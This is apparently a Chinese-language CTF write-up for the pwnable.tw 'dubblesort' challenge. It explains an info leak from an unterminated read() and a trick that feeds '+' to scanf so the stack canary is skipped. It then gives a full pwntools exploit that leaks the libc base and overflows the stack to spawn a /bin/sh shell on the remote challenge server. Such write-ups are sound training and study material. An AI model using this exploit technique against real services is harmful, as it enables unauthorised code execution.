pwnable.tw dubblesort writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 分析
  4. 4. 思路
  5. 5. 脚本

用到了scanf函数的一个比较少见的漏洞。靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序下载:dubblesort.zip

安全防护

ex@Ex:~/test$ checksec dubblesort
[*] '/home/ex/test/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

溢出点

read(0, &buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :", &buf);

read函数读取,没有null截断,可以泄露栈信息。

do
{
__printf_chk(1, "Enter the %d number : ", v5);
fflush(stdout);
__isoc99_scanf("%u", v4);
++v5;
v3 = v11;
++v4;
}
while ( v11 > v5 );

输入的数目由用户确定,数目过大就会导致栈溢出。

分析

如果没有stack guard的话,这就是一个简单的栈溢出,但是程序有stack guard,这时就需要我们要保证输入的时候stack guard不会变,这里就要用到scanf的一个小技巧。

如果直接输入非法字符的话,由于程序没有对输入流进行清空,所以之后的scanf也都会是非法字符,也就是意味着后面的输入全部无效,但是输入+或者-时是被当成一次有效输入,由于我们仅仅输入+或者-并不能直接获得一个有效数值,所以本次scanf也作为无效看待,这样就能保证stack guard不会被修改,当进行下一次scanf的时候,识别到输入流不完整也会继续I/o中断等待输入。

思路

  1. 泄露地址
  2. 栈溢出

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}* .payload.sw*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

# context.arch = "amd64"
context.arch = "i386"
context.log_level = 'debug'
execve_file = './dubblesort'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10101)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0xAFE)
b *$rebase(0xB17)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

# pause()
sh.send('a' * 0x19)

sh.recvuntil('a' * 0x18)
libc_addr = (u32(sh.recvn(4)) & 0xfffff000) - 0x1b0000
log.success('libc_addr: ' + hex(libc_addr))

sh.recvn(4)
image_addr = u32(sh.recvn(4)) - 0x601
log.success('image_addr: ' + hex(image_addr))

# pause()
sh.sendlineafter('How many numbers do you what to sort :', '35')
for i in range(24):
sh.sendlineafter('number : ', str(1))

sh.sendlineafter('number : ', '+')

for i in range(9):
sh.sendlineafter('number : ', str(libc_addr + libc.symbols['system']))

sh.sendlineafter('number : ', str(libc_addr + libc.search('/bin/sh\0').next()))

sh.interactive()
clear()